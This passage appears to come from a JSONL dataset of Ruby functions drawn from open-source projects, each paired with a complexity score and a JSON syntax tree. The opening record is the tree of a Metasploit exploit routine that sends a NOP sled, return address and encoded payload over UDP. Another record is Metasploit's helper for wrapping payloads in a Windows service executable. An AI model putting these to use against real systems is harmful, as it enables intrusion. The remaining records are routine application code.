\"type\":\"int\",\"children\":[5]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[4097]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[2072]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect_udp\"]}]}]}","id":"429f39e6-6516-4ec7-8153-0579b4d4da7a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/exe.rb","start_line":675,"raw_source":"def self.to_win32pe_service(framework, code, opts = {})\n    # Allow the user to specify their own service EXE template\n    set_template_default(opts, \"template_x86_windows_svc.exe\")\n    opts[:exe_type] = :service_exe\n    exe_sub_method(code,opts)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_win32pe_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"framework\"]},{\"type\":\"arg\",\"children\":[\"code\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_template_default\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"str\",\"children\":[\"template_x86_windows_svc.exe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"exe_type\"]},{\"type\":\"sym\",\"children\":[\"service_exe\"]}]},{\"type\":\"send\",\"children\":[null,\"exe_sub_method\",{\"type\":\"lvar\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"951f9ec5-4067-48f4-bee3-bfac04f25689"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/flows/usage_viewer.rb","start_line":399,"raw_source":"def template_formatted_args(data_attr, indent:)\n        return \" #{data_attr}=\\\"#{action}\\\">\" if additional_properties.none?\n\n        spacer = ' ' * indent\n        property_args = format_additional_properties do |property, value, _|\n          \"  data-event-#{property}=#{value.tr(\"'\", '\"')}\"\n        end\n\n        args = [\n          '', # start args on next line\n          \"  #{data_attr}=\\\"#{action}\\\"\",\n          *property_args\n        ].join(\"\\n#{spacer}\")\n\n        \"#{format_warning(args)}\\n#{spacer}>\"\n      end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"template_formatted_args\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data_attr\"]},{\"type\":\"kwarg\",\"children\":[\"indent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"additional_properties\"]},\"none?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_attr\"]}]},{\"type\":\"str\",\"children\":[\"=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"spacer\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"property_args\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_additional_properties\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  data-event-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"tr\",{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_attr\"]}]},{\"type\":\"str\",\"children\":[\"=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property_args\"]}]}]},\"join\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spacer\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_warning\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spacer\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]}","id":"977c7b80-6875-4ddb-8c52-280c5d86c4de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/cleanup/project_namespace_service.rb","start_line":39,"raw_source":"def kubeclient_delete_namespace(kubernetes_namespace)\n        cluster.kubeclient&.delete_namespace(kubernetes_namespace.namespace)\n      rescue Kubeclient::ResourceNotFoundError\n        # The resources have already been deleted, possibly on a previous attempt that timed out\n      rescue Gitlab::HTTP_V2::UrlBlocker::BlockedUrlError\n        # User gave an invalid cluster from the start, or deleted the endpoint before this job ran\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"kubeclient_delete_namespace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"kubernetes_namespace\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster\"]},\"kubeclient\"]},\"delete_namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kubernetes_namespace\"]},\"namespace\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kubeclient\"]},\"ResourceNotFoundError\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HTTP_V2\"]},\"UrlBlocker\"]},\"BlockedUrlError\"]}]},null,null]},null]}]}","id":"71fca3a7-905a-4fc4-b79d-ce1a96d51e39"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/trends.rb","start_line":20,"raw_source":"def self.register!(status)\n    [links, tags, statuses].each { |trend_type| trend_type.register(status) }\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"register!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"links\"]},{\"type\":\"send\",\"children\":[null,\"tags\"]},{\"type\":\"send\",\"children\":[null,\"statuses\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trend_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trend_type\"]},\"register\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}","id":"7d50e953-0277-4096-bb2c-eaf52580f965"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":516,"raw_source":"def write(chunk)\n        write_objects(chunk.metadata.tag, chunk)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"send\",\"children\":[null,\"write_objects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"metadata\"]},\"tag\"]},{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]}","id":"8a05a593-6745-4786-86f1-da20f0a76b13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250109164504_create_ci_gitlab_hosted_runner_monthly_usages.rb","start_line":8,"raw_source":"def up\n    # rubocop:disable Migration/EnsureFactoryForTable -- False Positive\n    create_table :ci_gitlab_hosted_runner_monthly_usages do |t|\n      # 8 bytes\n      t.references :runner,\n        type: :bigint, index: false, null: false\n      t.bigint :runner_duration_seconds, null: false, default: 0\n      t.bigint :project_id, null: false\n      t.bigint :root_namespace_id, null: false\n      t.timestamps_with_timezone null: false\n      # 4 bytes\n      t.date :billing_month, null: false\n      t.integer :notification_level, null: false, default: 100\n      # variables bytes\n      t.decimal :compute_minutes_used, precision: 18, scale: 4, null: false, default: 0.0\n    end\n\n    add_index :ci_gitlab_hosted_runner_monthly_usages, [:root_namespace_id, :billing_month],\n      name: 'idx_hosted_runner_usage_on_namespace_billing_month'\n\n    add_index :ci_gitlab_hosted_runner_monthly_usages, [:project_id, :billing_month],\n      name: 'idx_hosted_runner_usage_on_project_billing_month'\n\n    add_index :ci_gitlab_hosted_runner_monthly_usages,\n      [:runner_id, :billing_month, :root_namespace_id, :project_id],\n      name: 'idx_hosted_runner_usage_unique',\n      unique: true\n\n    add_check_constraint(\n      :ci_gitlab_hosted_runner_monthly_usages,\n      \"(billing_month = date_trunc('month', billing_month::timestamp with time zone))\",\n      'ci_hosted_runner_monthly_usages_month_constraint'\n    )\n    # rubocop:enable Migration/EnsureFactoryForTable -- False Positive\n  end","complexity_score":16.65,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"ci_gitlab_hosted_runner_monthly_usages\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"runner\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"runner_duration_seconds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"root_namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"date\",{\"type\":\"sym\",\"children\":[\"billing_month\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"notification_level\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"decimal\",{\"type\":\"sym\",\"children\":[\"compute_minutes_used\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scale\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"float\",\"children\":[0.0]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"ci_gitlab_hosted_runner_monthly_usages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_namespace_id\"]},{\"type\":\"sym\",\"children\":[\"billing_month\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_hosted_runner_usage_on_namespace_billing_month\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"ci_gitlab_hosted_runner_monthly_usages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"billing_month\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_hosted_runner_usage_on_project_billing_month\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"ci_gitlab_hosted_runner_monthly_usages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner_id\"]},{\"type\":\"sym\",\"children\":[\"billing_month\"]},{\"type\":\"sym\",\"children\":[\"root_namespace_id\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_hosted_runner_usage_unique\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"sym\",\"children\":[\"ci_gitlab_hosted_runner_monthly_usages\"]},{\"type\":\"str\",\"children\":[\"(billing_month = date_trunc('month', billing_month::timestamp with time zone))\"]},{\"type\":\"str\",\"children\":[\"ci_hosted_runner_monthly_usages_month_constraint\"]}]}]}]}","id":"b8526613-5381-4877-aacd-8dde2914935e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/providers/one_drive/validators/ampf_configuration_validator_spec.rb","start_line":110,"raw_source":"def created_folder\n              Input::Files.build(folder: \"/\").bind do |input_data|\n                Registry[\"one_drive.queries.files\"].call(storage:, auth_strategy:, input_data:).bind do |result|\n                  folder = result.all_folders.detect { |file| file.name.include?(folder_name) }\n\n                  return folder.id\n                end\n              end\n            end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"created_folder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Input\"]},\"Files\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"folder\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},\"bind\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input_data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Registry\"]},\"[]\",{\"type\":\"str\",\"children\":[\"one_drive.queries.files\"]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[null,\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_strategy\"]},{\"type\":\"send\",\"children\":[null,\"auth_strategy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_data\"]},{\"type\":\"lvar\",\"children\":[\"input_data\"]}]}]}]},\"bind\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"folder\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"all_folders\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"name\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"folder_name\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"folder\"]},\"id\"]}]}]}]}]}]}","id":"f3a4cbd3-60e9-4f63-9da4-16e0da33e69b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_shortcut.rb","start_line":38,"raw_source":"def self.fixture_file_names\n    shortcuts_dir = FIXTURE_DIR.join(\"miq_shortcuts\")\n    main_shortcuts = FIXTURE_DIR.join(\"miq_shortcuts.yml\")\n    [main_shortcuts] + (shortcuts_dir.directory? ? shortcuts_dir.children : [])\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fixture_file_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shortcuts_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FIXTURE_DIR\"]},\"join\",{\"type\":\"str\",\"children\":[\"miq_shortcuts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"main_shortcuts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FIXTURE_DIR\"]},\"join\",{\"type\":\"str\",\"children\":[\"miq_shortcuts.yml\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"main_shortcuts\"]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shortcuts_dir\"]},\"directory?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shortcuts_dir\"]},\"children\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}","id":"5faaa429-3046-4a7a-a6c3-13cba467ed00"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meetings/ical_controller.rb","start_line":37,"raw_source":"def index\n      token = Token::ICalMeeting.find_by_plaintext_value!(params[:token]) # rubocop:disable Rails/DynamicFindBy\n\n      user = token.user\n\n      service = AllMeetings::ICalService.new(user:)\n      s_call = service.call\n\n      ics_body = if s_call.success?\n                   s_call.result\n                 else\n                   Rails.logger.error \"Could not generate ICS feed: #{s_call.message}\"\n                   EMPTY_ICS\n                 end\n\n      respond_to do |format|\n        format.ics do\n          send_data(\n            ics_body,\n            filename: \"openproject-meetings.ics\",\n            disposition: \"inline; filename=openproject-meetings.ics\",\n            type: \"text/calendar\"\n          )\n        end\n      end\n    end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Token\"]},\"ICalMeeting\"]},\"find_by_plaintext_value!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AllMeetings\"]},\"ICalService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s_call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"call\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ics_body\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s_call\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s_call\"]},\"result\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not generate ICS feed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s_call\"]},\"message\"]}]}]}]},{\"type\":\"const\",\"children\":[null,\"EMPTY_ICS\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"ics\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_data\",{\"type\":\"lvar\",\"children\":[\"ics_body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"str\",\"children\":[\"openproject-meetings.ics\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disposition\"]},{\"type\":\"str\",\"children\":[\"inline; filename=openproject-meetings.ics\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"text/calendar\"]}]}]}]}]}]}]}]}","id":"f5c2e11b-dbd2-4e7b-b881-b51869949ba2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_action_destroyer.rb","start_line":16,"raw_source":"def self.destroy(destroyed_by, post, action_key, opts = {})\n    new(destroyed_by, post, PostActionType.types[action_key], opts).perform\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"destroy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"destroyed_by\"]},{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"arg\",\"children\":[\"action_key\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"destroyed_by\"]},{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostActionType\"]},\"types\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"action_key\"]}]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"perform\"]}]}","id":"02ffa675-98f6-4fdb-8dc1-778e09bc7c46"}
